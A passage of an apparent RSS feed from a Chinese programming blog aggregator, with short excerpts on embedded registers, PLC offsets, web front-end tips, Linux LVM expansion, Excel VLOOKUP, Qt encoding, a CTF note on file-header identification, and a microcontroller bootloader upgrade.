操作。刚刚我们说了，通过绝对地址访问内存单元不好记忆且容易出错，我们可以通过寄存器的方式来操作，具体见代码&#xA;通过寄存器别名方式访问内存单元&#xA;// GPIOB 端口全部输出 高电平 #define GPIOB_ODR (unsigned int*)(GPIOB_BASE+0x0C) * GPIOB_ODR = 0xFF; 为了方便操作，我们干脆把指针操作“*”也定义到寄存器别名里面，具体见代码</description>
    </item>
    <item>
      <title>博客搬家,搬到博客园</title>
      <link>https://bchobby.github.io/posts/404594697d719c74e99004d79df14d1b/</link>
      <pubDate>Tue, 31 Oct 2023 21:00:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/404594697d719c74e99004d79df14d1b/</guid>
      <description> 在博客中任意一篇博文中添加以下内容供我们验证（在已有博文中修改即可）&#xA;4f0e5053-6da7-4789-9643-99cc72542530&#xA;例如添加如下代码块：&#xA;var code = “4f0e5053-6da7-4789-9643-99cc72542530”&#xA;输入验证博文地址&#xA;var code = &#34;4f0e5053-6da7-4789-9643-99cc72542530&#34; </description>
    </item>
    <item>
      <title>PLC之偏移量</title>
      <link>https://bchobby.github.io/posts/500ed4668aed494052646258d34a8763/</link>
      <pubDate>Tue, 31 Oct 2023 17:47:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/500ed4668aed494052646258d34a8763/</guid>
      <description> 在PLC（可编程逻辑控制器）中，偏移量（Offset）通常是指访问或操作特定内存地址的相对位移。PLC的内存结构通常以字（Word）为单位，一个字通常包含16位二进制数据。每个位都可以通过相对于字节或字的偏移量来寻址和操作。&#xA;偏移量的计算可以根据PLC的内存结构和寻址方式而变化，但通常遵循以下规则：&#xA;字节偏移量：PLC内存通常以字节为单位组织。一个字节通常包含8位。如果要访问或操作一个特定字节内的位，你可以使用字节偏移量。偏移量通常从0开始，表示字节中的第一个位。例如，一个偏移量为3的位表示字节内的第4位。&#xA;字偏移量：有些PLC可以让你直接以字（Word）为单位访问内存，而不是字节。一个字通常包含16位。在这种情况下，偏移量通常从0开始，表示一个字内的第一个位。例如，一个偏移量为7的位表示一个字内的第8位。&#xA;地址寻址：PLC通常具有特定的内存地址寻址方式，这些地址可以根据PLC制造商的规范和型号而异。通常，地址由字（Word）和位（Bit）组成，如“W3.2”表示第3个字的第2个位。在这种情况下，字偏移量是3，位偏移量是2。&#xA;具体的PLC制造商和型号可能有不同的寻址和偏移量规则，应该参考PLC的文档和规范以了解如何正确计算和使用偏移量来访问内存中的位。在PLC编程中，正确计算偏移量非常重要，是以确保对特定位的读取和写入操作是准确的。&#xA;在西门子PLC中，一个DINT数据类型通常占据4字节（32位）的内存空间。因此，如果你的DINT的偏移量是192，那么它是192 * 4 = 768字节。&#xA;每个DINT数据类型包含32位的二进制数据，等于4字节的内存空间。你可以使用这个信息来计算偏移量的字节大小。所以，一个DINT数据类型的偏移量为192，等于768字节。&#xA;在西门子PLC中，DINT（Double Integer）数据类型通常占据4字节的内存空间。如果偏移量为192，那么它占据的字节偏移量为192 * 4 = 768字节。&#xA;在C#中，你可以使用 int 数据类型来表示带符号的32位整数，这是与DINT最接近的等效类型。在C#中，你可以使用 int 来表示一个DINT 数据。例如：&#xA;int myDintValue = 12345; // 表示一个32位整数，等效于 DINT 在Java中，你可以使用 int 数据类型来表示带符号的32位整数，也是与DINT最接近的等效类型。在Java中，你可以使用 int 来表示一个DINT 数据。例如：&#xA;int myDintValue = 12345; // 表示一个32位整数，等效于 DINT </description>
    </item>
    <item>
      <title>CSS学习笔记之iconfont图标库的使用</title>
      <link>https://bchobby.github.io/posts/30d2cace4f4f09ed8aafc0388e090491/</link>
      <pubDate>Tue, 31 Oct 2023 16:09:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30d2cace4f4f09ed8aafc0388e090491/</guid>
      <description>阿里巴巴矢量图标库iconfont-阿里巴巴矢量图标库 1、单色图标库 示例代码&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;./font-veafwwbvy/iconfont.css&#34;&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;i class=&#34;iconfont icon-anzhuoceshi&#34;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 步骤 打开阿里巴巴矢量图标库，在素材库中选择单色图标库&#xA;选择一款单色图标并添加入库，点击进入购物车&#xA;下载所选择单色图标的代码&#xA;复制所下载的压缩文件夹&#xA;右击项目所在文件夹，点击在文件资源管理器中显示&#xA;粘贴压缩文件夹，并解压至项目文件夹中 ，如下图文件夹font-veafwwbvy&#xA;在VSCode中选择文件夹font-veafwwbvy下的iconfont.css中图标的类名，并复制类名，如下图&#xA;在html文件中，首先通过link引入iconfont.css的路径，其次，在class中粘贴图标类名 最终效果&#xA;2、多色图标库 1.在线引入 示例代码&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;https://at.alicdn.com/t/c/font_4297416_g7ted2244pt.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;svg class=&#34;icon&#34; aria-hidden=&#34;true&#34;&amp;gt; &amp;lt;use xlink:href=&#34;#icon-a-Nodejs&#34;&amp;gt;&amp;lt;/use&amp;gt; &amp;lt;/svg&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 步骤 打开阿里巴巴矢量图标库，在素材库中选择多色图标库 ,选择一款多色图标&#xA;将选择的多色图标添加入库，并且打开购物车&#xA;将购物车中选择的多色图标添加至项目&#xA;点击右上角新建文件图标，将多色图标添加到新建项目，点击确定 点击symbol，再点击查看在线链接</description>
    </item>
    <item>
      <title>linux逻辑卷扩容(在已有的逻辑卷基础上扩容)</title>
      <link>https://bchobby.github.io/posts/053054d04b3c215d2014914f0137f5d0/</link>
      <pubDate>Tue, 31 Oct 2023 15:47:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/053054d04b3c215d2014914f0137f5d0/</guid>
      <description>一、背景 场景一、&#xA;在实际生产环境中，我们的数据目录/data01 之前做了逻辑卷挂了100G到这个目录下，现在这个目录因为晚上日志切割备份，磁盘空间不够，导致在切割备份过程中产生告警。如果数据量增大会导致备份失败&#xA;场景二、&#xA;在生产环境中 ，我们的数据库目录/data01 现在做了逻辑卷挂在100G ，但是由于最近属于业务高峰期导致磁盘已经快满了 ，现在我们有两个选择：&#xA;1、更换数据目录，但这种情况一般不采取，因为我之前的软件或者数据可能到放在了/data 01如果现在换目录，就可能涉及软件重装或者数据迁移等等一系列的问题，&#xA;2、直接新增一块硬盘，做成逻辑卷挂在当前数据目录/data01下&#xA;往往在实际生产环境中 我们采用的都是第二种，因为使用第二种我们可以无限扩容或者缩容&#xA;本次我们讲的是给/data01盘扩容&#xA;二、确认磁盘是否添加 本次是用虚拟机模拟生产环境操作&#xA;[root@control ~]# lsblk #查看是否添加新磁盘&#xA;NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT&#xA;sda 8:0 0 20G 0 disk&#xA;├─sda1 8:1 0 1G 0 part /boot&#xA;└─sda2 8:2 0 19G 0 part&#xA;├─centos-root 253:0 0 17G 0 lvm /&#xA;└─centos-swap 253:1 0 2G 0 lvm [SWAP]&#xA;sdb 8:16 0 20G 0 disk&#xA;└─sdb1 8:17 0 19G 0 part</description>
    </item>
    <item>
      <title>js获取页面元素的几种方法</title>
      <link>https://bchobby.github.io/posts/8276f9b4d9cf1b620c0ff3b8eb39fb2f/</link>
      <pubDate>Tue, 31 Oct 2023 15:12:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8276f9b4d9cf1b620c0ff3b8eb39fb2f/</guid>
      <description>通过ID来获取页面元素：document.getElementById(‘id’); &amp;lt;body&amp;gt; &amp;lt;div id=&#34;ce&#34;&amp;gt;测试&amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; let ce = document.getElementById(&#39;ce&#39;) console.log(ce); // &amp;lt;div id=&#34;ce&#34;&amp;gt;测试&amp;lt;/div&amp;gt; &amp;lt;/script&amp;gt; &amp;lt;/body&amp;gt; 通过类名来获取页面元素：document.getElementsByClassName(‘类名’); &amp;lt;body&amp;gt; &amp;lt;div class=&#34;ce&#34;&amp;gt;测试&amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; let ce = document.getElementsByClassName(&#39;ce&#39;) console.log(ce[0]); // &amp;lt;div class=&#34;ce&#34;&amp;gt;测试&amp;lt;/div&amp;gt; &amp;lt;/script&amp;gt; &amp;lt;/body&amp;gt; 通过标签名来获取页面元素：document.getElementsByTagName(‘标签名’); &amp;lt;body&amp;gt; &amp;lt;div&amp;gt;测试&amp;lt;/div&amp;gt; &amp;lt;div&amp;gt;测试2&amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; let ce = document.getElementsByTagName(&#39;div&#39;) // 会获取页面所有的div标签 console.log(ce); // ce[0] &amp;lt;div class=&#34;ce&#34;&amp;gt;测试&amp;lt;/div&amp;gt; ce[1] &amp;lt;div class=&#34;ce&#34;&amp;gt;测试2&amp;lt;/div&amp;gt; &amp;lt;/script&amp;gt; &amp;lt;/body&amp;gt; 通过标签name属性获取页面元素：document.getElementsByName(‘name属性的值’); &amp;lt;body&amp;gt; &amp;lt;div name=&#34;ce&#34;&amp;gt;测试&amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; let ce = document.getElementsByName(&#39;ce&#39;) console.log(ce[0]); // &amp;lt;div name=&#34;ce&#34;&amp;gt;测试&amp;lt;/div&amp;gt; &amp;lt;/script&amp;gt; &amp;lt;/body&amp;gt; H5新增的获取元素的方式:document.querySelector(‘选择器’); id带#,class带. &amp;lt;body&amp;gt; &amp;lt;div id=&#34;</description>
    </item>
    <item>
      <title>10.31Python 异常</title>
      <link>https://bchobby.github.io/posts/74b03dc72ba28cf9e3a780783cb1e11b/</link>
      <pubDate>Tue, 31 Oct 2023 15:08:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74b03dc72ba28cf9e3a780783cb1e11b/</guid>
      <description>try: file = open(&#34;test.txt&#34;) #会报错的东西 except FileNotFoundError as error: print(&#34;error:&#34;, error) #不报错 很喜欢小蓝的一句话：怎么报错！！怎么不报错！！&#xA;try: num_one = int(input(&#34;输入被除数：&#34;)) num_two = int(input(&#34;输入除数：&#34;)) print(&#34;结果：&#34;, num_one / num_two) except (ValueError, ZeroDivisionError) as error: #输入数为0，输入数为空 print(&#34;error:&#34;, error) 抛异常&#xA;try: raise IndexError(&#34;123&#34;) except: raise 限定上传文件格式&#xA;class OError(EOFError): def __init__(self, suffix): self.suffix = suffix picture = input(&#34;请上传图片：&#34;) for i in range(len(picture)): if picture[i] == &#34;.&#34;: suffix = picture[i + 1:] try: if suffix != &#34;jpg&#34; and suffix !</description>
    </item>
    <item>
      <title>【向生活低头】win7打印机共享给win11使用，win11无法连接问题的解决</title>
      <link>https://bchobby.github.io/posts/73cf93b872b1e2b747ea6788bd6a6eb9/</link>
      <pubDate>Tue, 31 Oct 2023 11:17:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73cf93b872b1e2b747ea6788bd6a6eb9/</guid>
      <description>打印机是跟win7的电脑连接的，然后试了很多方法，win11都没法添加该打印机去使用。&#xA;网上的方法乱七八糟啥都有，但试了以后，发现基本没什么用。&#xA;刚刚发现知乎上的一个回答是有用的，这里做记录以备后用。&#xA;1.打开控制面板的大图标里的“凭据管理器”&#xA;2.点击“windows凭据”，选择“添加windows凭据”&#xA;3.分别输入&#xA;（1）\对方主机名&#xA;（2）guest&#xA;（3）（这里是对方的guest账号的密码，空）&#xA;4.正常的添加打印机的方式</description>
    </item>
    <item>
      <title>CentOS7 -bash:vim:未找到命令</title>
      <link>https://bchobby.github.io/posts/b05be3784df434c272e9bf8dc26bcc5c/</link>
      <pubDate>Tue, 31 Oct 2023 10:17:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b05be3784df434c272e9bf8dc26bcc5c/</guid>
      <description>报错描述 在虚拟机中使用vim相关命令时，报错-bash: vim: 未找到命令&#xA;原因分析 不能使用vim，应该先查看是否安装&#xA;执行命令rpm -qa | grep vim&#xA;解决方法 缺少什么安装包就执行对应的命令&#xA;例如：yum -y install vim-enhanced、yum -y install vim-minimal等&#xA;如果都没有，则全部安装yum -y install vim*</description>
    </item>
    <item>
      <title>windows vlookup常见案例</title>
      <link>https://bchobby.github.io/posts/fd078420a921ef80199a96ffa9ffbeb9/</link>
      <pubDate>Tue, 31 Oct 2023 10:05:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd078420a921ef80199a96ffa9ffbeb9/</guid>
      <description> 目录 windows vlookup常见案例 同表查找同步数据跨表查找同步数据 windows vlookup常见案例 vlookup是在excel表格中查找处理数据的强大工具，准确来说他是一个函数&#xA;结构：=VLOOKUP(查找值,查找区域,列序数,匹配条件)解释：=VLOOKUP(找谁,在哪里找,第几列,0或1) 本随笔记录了日常所用到的案例，案例有很多，如果遇到新的后面会持续更新&#xA;同表查找同步数据 我们先构造一份数据 ，如下图，同一个表格内，A列和E列均为序列号，D列为期末分数，F列为最终分数。&#xA;我想根据序列号，同步期末分数到最终分数。这样期末分数修改的时候最终分数也会跟着修改&#xA;我们点一下F2部分的空格，也就是最终分数下面。然后鼠标放到fx旁边点击，输入函数&#xA;=VLOOKUP(E2,$A$1:$D$14,4,1) 当你输入=VLOOK的时候应该已经能看到excel自动弹出这个函数了，下面详细解释下上面这个函数&#xA;E2:见上面结构，第一个值为查找值，我们是根据序列号查的，所以这里填写E2 $A$1:$D$14：见上面结构，第二个值为查找范围，是指从A列的第1行到D列的第14行 4：见上面结构，第三个值为列序号，是指把哪一列的数据同步到我F2这一个空格来，因为我们要同步期末分数过来，所以选4，也就是D列 1：为0，表示精确匹配，为1，则代表近似匹配。 输入函数后回车，我们点击其他空格部分，会发现分数已经同步过去了&#xA;然后我们再次点击F2这个空格，细心点的可能会发现，这个表格右下角有个小点&#xA;我们按住Ctrl键，然后用鼠标点击这个小点并往下拉，直到最后一行，这样函数就会应用于下面所有行，数据都同步过来了&#xA;跨表查找同步数据 历史表格&#xA;上面我们讲了同表数据，如果跨表呢？接下来我们再构造一个表格，只有序列号，同样也有个最终分数，不过内容为空&#xA;我们要根据序列号，同步上面的期末分数，到下面新建表格的最终分数中&#xA;下面开始，我们在新建的表格中点击B2这个表格，然后点击上面的fx输入函数，这里一定要有逗号，表示我们没写完&#xA;=VLOOKUP(A2,) 然后，我们打开历史表格(第一个表格)，可以看到这个表格的fx函数输入部分也有个 =VLOOKUP(A2,)&#xA;ok，到这里后，我们用鼠标选中A列到D列的所有数据，会发现上面公式会自动把这个表格的名字和列都加上去了&#xA;我们再输入逗号，因为我们要同步这个表格的期末分数到我们的新表格，期末分数是第4列，所以再输入4，所以最终公式是&#xA;=VLOOKUP(A2,[测试1.xlsx]Sheet1!$A$1:$D$14,4,1) 最后，我们点击切回我们新建的表格，可以发现数据已经同步过来了，然后我们如法炮制，按住ctrl点击B2空格右下角的小点向下拉，这样B列的数据就从历史表格的期末分数那一列同步过来了&#xA;扩展小点 # 如果我们想在新表格记录原先成绩的 10%，那么我们可以修改公式为 =VLOOKUP(A2,[测试1.xlsx]Sheet1!$A$1:$D$14,4,1)*0.1 </description>
    </item>
    <item>
      <title>MP4视频无法在H5网页中播放</title>
      <link>https://bchobby.github.io/posts/93bc6318559b27f461d9acbab3c4c582/</link>
      <pubDate>Tue, 31 Oct 2023 09:45:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93bc6318559b27f461d9acbab3c4c582/</guid>
      <description> MP4视频在本地可以播放，但是在html5的video多媒体标签不能正常播放，不显示图像，其实是编码的原因，虽然格式是MP4，但是html5只支持H.264的编码格式。&#xA;关于html5的video标签知识：&#xA;html4协议做网站时我们在网页播放视频使用flash播放，要么就是嵌入式页面实现html5网页可以使用video标签，使得多媒体文件很方便的在网页中播放 关于video标签所支持的视频格式和编码： MP4 = MPEG 4文件使用H264视频编解码器和AAC音频编解码器WebM = WebM文件使用VP8视频编解码器和Vorbis音频编解码器Ogg = Ogg 文件使用Theora视频编解码器和Vorbis音频编解码器 通过上面的信息我们会发现只有h264编码的MP4视频（MPEG-LA公司）、VP8编码的webm格式的视频（Google公司）和Theora编码的ogg格式的视频（iTouch开发）可以支持html5的&amp;lt;video&amp;gt;标签。 使用方法：&#xA;&amp;lt;video src=&#34;http://sp.ntaotu.com/localhost-wordpress-phpstudy.mp4&#34; controls=&#34;controls&#34; width=&#34;500&#34;height=&#34;300&#34;&amp;gt;&amp;lt;/video&amp;gt; 如果浏览器不支持video标签：&#xA;&amp;lt;video src=&#34;http://sp.ntaotu.com/localhost-wordpress-phpstudy.mp4&#34; controls=&#34;controls&#34; width=&#34;500&#34;height=&#34;300&#34;&amp;gt;您的浏览器不支持播放该视频！&amp;lt;/video&amp;gt; video标签的扩展参数详解：&#xA;&amp;lt;video width=&#34;500&#34; height=&#34;250&#34; controls=&#34;controls&#34;&amp;gt; &amp;lt;source src=&#34;movie.ogg&#34; type=&#34;video/ogg&#34;&amp;gt; &amp;lt;source src=&#34;movie.mp4&#34; type=&#34;video/mp4&#34;&amp;gt; &amp;lt;/video&amp;gt; autoplay :出现该属性意味着视频在就绪后将自动播放，用法：autoplay=&#34;autoplay&#34;controls :出现该属性意味着向用户显示控件，如播放按钮等，用法：controls=&#34;controls&#34;height:设置高度 width:设置宽度loop:自动重播，用法：loop=&#34;loop&#34;preload:视频在页面加载时进行加载并预备播放，用法：preload=&#34;auto&#34; - 当页面加载后载入整个视频；preload=&#34;meta&#34; - 当页面加载后只载入元数据；preload=&#34;none&#34; - 当页面加载后不载入视频。注意：若使用了autoplay，则忽略preloadsrc:要播放视频的url </description>
    </item>
    <item>
      <title>Java class文件 反编译</title>
      <link>https://bchobby.github.io/posts/44ddde82421ff78d90596f2c2403f550/</link>
      <pubDate>Tue, 31 Oct 2023 09:30:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44ddde82421ff78d90596f2c2403f550/</guid>
      <description> 使用 JD-GUI 工具&#xA;官网地址：Java Decompiler&#xA;1、下载 根据自己的需求下载&#xA;2、演示windows下载过程 3、解压缩，找到 jd-gui.exe 文件，然后双击执行 4、然后将准备好的class文件拖进去就可以了！ </description>
    </item>
    <item>
      <title>QtCreator 中文乱码解决</title>
      <link>https://bchobby.github.io/posts/7bb74fb622a1d6de566e526bab470dd6/</link>
      <pubDate>Tue, 31 Oct 2023 08:29:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7bb74fb622a1d6de566e526bab470dd6/</guid>
      <description> 澄清：Qt对中文支持没啥问题，也不用什么特殊的函数，为了解决烦恼，必须了解下文件编码知识，比如utf-8可以不要bom，utf-32为啥需要bom等等。简单来说，所有源码文件，均保存为 UTF-8 无bom，基本不再有乱码，绝大多数情况下，根本不需要类似latin1等函数，用不到的！&#xA;无bom 无bom 无bom，非常重要！在各种文章的轰炸下，很多时候大家都知道选择UTF-8，但是一定要注意bom&#xA;Windows系统下，常用的编码有如下几种，这也是很多问题的起源。&#xA;直接用VS ide的话，默认的编码格式是GBK&#xA;用VS ide保存为UTF-8，很多人很多人保存成了UTF-8带BOM&#xA;Linux系统下，一般不存在这些问题，因为默认的编码都是 UTF-8不带bom&#xA;如果你的代码需要在Windows和Linux下都要运行的话，我建议直接用UTF-8不带bom&#xA;假设你用Qt Creator这个ide的话&#xA;1 在项目pro文件中加上这段代码，VS编译器默认使用GBK编码，需要特别配置&#xA;win32-msvc* { QMAKE_CXXFLAGS += /source-charset:utf-8 /execution-charset:utf-8 } </description>
    </item>
    <item>
      <title>vision transformer的计算复杂度</title>
      <link>https://bchobby.github.io/posts/7772a83f222d394bc825b63915594807/</link>
      <pubDate>Mon, 30 Oct 2023 21:48:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7772a83f222d394bc825b63915594807/</guid>
      <description>文章目录 Vision transformerSwin transformerConvolutional vision TransformerCross Attention Transformer Vision transformer 假设每个图像有 h ∗ w h*w h∗w 个patch，维度是 C C C&#xA;输入的图像 X X X ( 大小为 h w ∗ C hw* C hw∗C )，和三个系数矩阵相乘 ( 大小为 C ∗ C C*C C∗C )，得到 q k v qkv qkv 三个向量 ( h w ∗ C hw*C hw∗C )，复杂度为：&#xA;3 h w C 2 3hwC^2 3hwC2&#xA;q q q ( h w ∗ C hw*C hw∗C ) 和 k T k^T kT ( C ∗ h w C*hw C∗hw ) 相乘得到矩阵 A A A ( h w ∗ h w hw*hw hw∗hw )，复杂度为： ( h w ) 2 C (hw)^2C (hw)2C</description>
    </item>
    <item>
      <title>面向对象基础（二刷黑马)</title>
      <link>https://bchobby.github.io/posts/75a2205d316bf3926db9873a330d779b/</link>
      <pubDate>Mon, 30 Oct 2023 21:48:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75a2205d316bf3926db9873a330d779b/</guid>
      <description>1.快速入门： 创建两个对象打印小明小红的总成绩与平均成绩&#xA;package com.itheima.object; public class Text { public static void main(String[] args) { //创建一个学生对象，封装小红的数据 Student s1=new Student(); s1.name=&#34;小红&#34;; s1.math=100; s1.chinese=96; s1.printTotalScore(); s1.printAverageScore(); //再创建一个学生对象，封装小明的数据 Student s2=new Student(); s2.name=&#34;小明&#34;; s2.chinese=59; s2.math=90; s2.printTotalScore(); s2.printAverageScore(); } } package com.itheima.object; public class Student { String name; double chinese; double math; public void printTotalScore(){ System.out.println(name+&#34;的总成绩是：&#34;+(chinese+math)); } public void printAverageScore(){ System.out.println(name+&#34;的平均成绩是：&#34;+(chinese+math)/2.0); } } 2.深刻认识 对象在计算机中的执行原理：&#xA;Student s1=new Student（）；&#xA;每次new Student（），就是在堆内存中开辟一块内存区域代表一个学生&#xA;s1变量里面记住的是学生对象的地址&#xA;1.如何识别引用类型的变量？&#xA;Student s1=new Student（）；</description>
    </item>
    <item>
      <title>开启RunDashboard面板</title>
      <link>https://bchobby.github.io/posts/8f2e2f91555d97374a4afa375553b033/</link>
      <pubDate>Mon, 30 Oct 2023 17:55:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f2e2f91555d97374a4afa375553b033/</guid>
      <description> 如果在idea打开项目，可以参照下面这张图，如果不是，自行找到项目也行&#xA;在项目中找到.idea文件，左键点击打开，找到workspace.xml文件，右击编译，把下方代码放入即可（随便找到一个componet标签，在标签结束下粘贴即可）。&#xA;&amp;lt;component name=&#34;RunDashboard&#34;&amp;gt; &amp;lt;option name=&#34;ruleStates&#34;&amp;gt; &amp;lt;list&amp;gt; &amp;lt;RuleState&amp;gt; &amp;lt;option name=&#34;name&#34; value=&#34;ConfigurationTypeDashboardGroupingRule&#34; /&amp;gt; &amp;lt;/RuleState&amp;gt; &amp;lt;RuleState&amp;gt; &amp;lt;option name=&#34;name&#34; value=&#34;StatusDashboardGroupingRule&#34; /&amp;gt; &amp;lt;/RuleState&amp;gt; &amp;lt;/list&amp;gt; &amp;lt;/option&amp;gt; &amp;lt;/component&amp;gt; </description>
    </item>
    <item>
      <title>echarts的legend图例，要给图例中的不同文字设置不同颜色</title>
      <link>https://bchobby.github.io/posts/4ef8f926370d63be01e35f2df9466142/</link>
      <pubDate>Mon, 30 Oct 2023 17:36:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ef8f926370d63be01e35f2df9466142/</guid>
      <description>可以用rich，先创建样式a，然后在formatter中用{a|文字}的形式使用，就能将文字使用a样式了</description>
    </item>
    <item>
      <title>【python练习】英语老师小助手</title>
      <link>https://bchobby.github.io/posts/0bc8af02161b6d15d734323efa30420d/</link>
      <pubDate>Mon, 30 Oct 2023 16:43:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bc8af02161b6d15d734323efa30420d/</guid>
      <description>英语老师小助手 Description 题目描述 英语老师要求学生按照如下规则写一串字母： 规则1、如果写了某个大写字母，下一个就必须写同个字母的小写，或者写字母表中前一个字母的大写(A的前一个字母是Z)； 规则2、如果写了某个小写字母，下一个就必须写同个字母的大写，或者写字母表中下一个字母的小写(z的下一个字母是a)。 例如 zZzZYXWwxyYX 就是一个合法的字母串；而 wVUuvUTsR 就是非法的。 现在面对全班学生交上来的作业，老师请你写个程序自动批改。 Input 每行给出一位学生的作业，即仅由英文字母组成的非空字母串，长度大于2，小于200。 Output 对每位学生的作业，如果错误就输出 N及首个出错位置(位置从0开始）; 如果正确就在一行中输出 Y和字符串的末位置（位从0开始计） Sample Input 1 zZzZYXWwxyYX Sample Output 1 Y 11 Sample Input 2 wVUuvUTsR Sample Output 2 N 1 Hint 字符串的长度小于200。输出位置从0开始计数。 用了很笨的方法&#xA;a=input() dui=0 for i in range(len(a)-1): if a[i].isupper(): if a[i]==&#39;A&#39;: if a[i+1]==a[i].lower() or a[i+1]==&#39;Z&#39;: dui=dui+1 else: print(&#39;N&#39;,i+1) break else: if a[i+1]==a[i].lower() or a[i+1]==chr(ord(a[i])-1): dui=dui+1 else: print(&#39;N&#39;,i+1) break elif a[i].islower(): if a[i]==&#39;z&#39;: if a[i+1]==a[i].</description>
    </item>
    <item>
      <title>CTF杂项之文件操作与隐写</title>
      <link>https://bchobby.github.io/posts/1b9dfece6a2150298318a0a6e71e02d3/</link>
      <pubDate>Mon, 30 Oct 2023 16:18:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b9dfece6a2150298318a0a6e71e02d3/</guid>
      <description>文件类型识别 1、file命令&#xA;当文件没有后缀名，或者后缀名有而无法正常打开时，根据识别出的文件类型 来修改后缀名即可正常打开文件&#xA;使用场景：不知道后缀名，无法打开文件&#xA;格式：file myheart&#xA;myheart 为未知类型文件&#xA;2、winhex&#xA;通过winhex程序 可以查看文件头类型，根据文件头类型判断出文件类型&#xA;是用场景：Windows下通过文件头判断文件类型&#xA;各种类型文件对应文件头&#xA;JPEG (jpg)，文件头：FF D8 FF E0&#xA;PNG (png)，文件头：89 50 4E 47&#xA;GIF (gif)，文件头：47 49 46 38 39 61 37 02 （实验吧，64格）&#xA;Windows Bitmap (bmp)，文件头：42 4D&#xA;python反编译文件pyc的头：03 F3 0D 0A （实验吧，py的交易）&#xA;pyd的文件头：4D 5A 90 00&#xA;ZIP Archive (zip)，文件头：50 4B 03 04 ascii码部分是PK，可以直接根据PK判断是zip文件，也有可能是doc文件&#xA;rar文件: 52 61 72 21&#xA;7z文件头：37 7A BC AF 27 1C （实验吧，有趣的文件）&#xA;MS Word/Excel (xls.or.doc)，文件头：D0CF11E0</description>
    </item>
    <item>
      <title>芯旺微 KungFu系列之KF32A156的boot loader的CAN协议UDS升级应用说明</title>
      <link>https://bchobby.github.io/posts/1e747c6696665f5474689c119cce0c66/</link>
      <pubDate>Mon, 30 Oct 2023 15:31:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e747c6696665f5474689c119cce0c66/</guid>
      <description>请尊重原创，转载本文需注明源出处！！！ hello大家好！bootloader升级在MCU的程序设计中常常用到。那本篇主要根据官方例程 来说说 can通讯 UDS协议进行APP升级。&#xA;一、首先不管什么通讯进行升级，都要说明一下bootloader升级需要先了解的一些知识点： 1、向量表重映射： boot和APP各自有各自的中断向量表，而当 app启动后需要将 boot 程序的向量表切换为 app 程序自己的向量表。这里就涉及到如何去将向量表的初始值进行修改，那这里就是通过向 SYS_VECTOFF 赋值 app 程序偏移地址的方式实现重映射过程。&#xA;2、APP程序地址偏移： 因为IDE的编译默认是从0x00000000地址开始放置指令的，但是前面的地址已经被放置boot程序，故这里需要进行将APP程序初始地址进行偏移。具体设置方法如下：&#xA;（1）、ChipON IDE\KungFu32\ChiponCC32\scripting\ccr1_issue 找到对应芯片型号的 xxx.ld链接文件，将其复制到工程目录下。&#xA;（2）、打开 ld 文件后可以看到对应记录的 flash 起始地址和大&#xA;小。本此示例中将 boot 程序大小限制在 0x8000，所以将 app 的起始地址修改为 0x0000 8000。&#xA;（3）、最后，将修改好的 ld 文件在 IDE 中生效： 选中项目-&amp;gt;右键-&amp;gt;属性-&amp;gt;C/C++构建-&amp;gt;设置-&amp;gt;通用设定-&amp;gt;芯片脚本文件写入 -T&#34;…/KF32F156MQV.ld&#34; -&amp;gt;应用-&amp;gt;确定。&#xA;**注意事项：**为了避免 boot 区程序超过界限，应当在 boot 程序中配置程序大小为 0x8000。&#xA;app的 ld 文件配置图示如下：&#xA;app的 工程属性 配置配置图示如下：&#xA;**这里有一个提醒：**就是从BOOT跳转到APP的时候，在 startup() 函数没有调整过的前提下，在app跑起来的时候会对ram进行初始化，但是对于boot程序配置的寄存器来说，是依然保留的。如果需要则可以进行保留，不需要挥着需要更改则可以进行该外设的重新初始化。&#xA;二、当我们把官方例程的BOOT和APP 程序编译完成后，即可进行升级流程的操作。这里篇幅问题就不说具体UDS流程部分的程序，感兴趣的可以自行研究。 实验所需：156demo板或者自己的板子均可，官方提供的boot和app程序，KF32烧录器，can卡（官网使用的是图莫斯，我这里使用的是周立功的can卡，上位机是ZCANPRO），连接线若干。 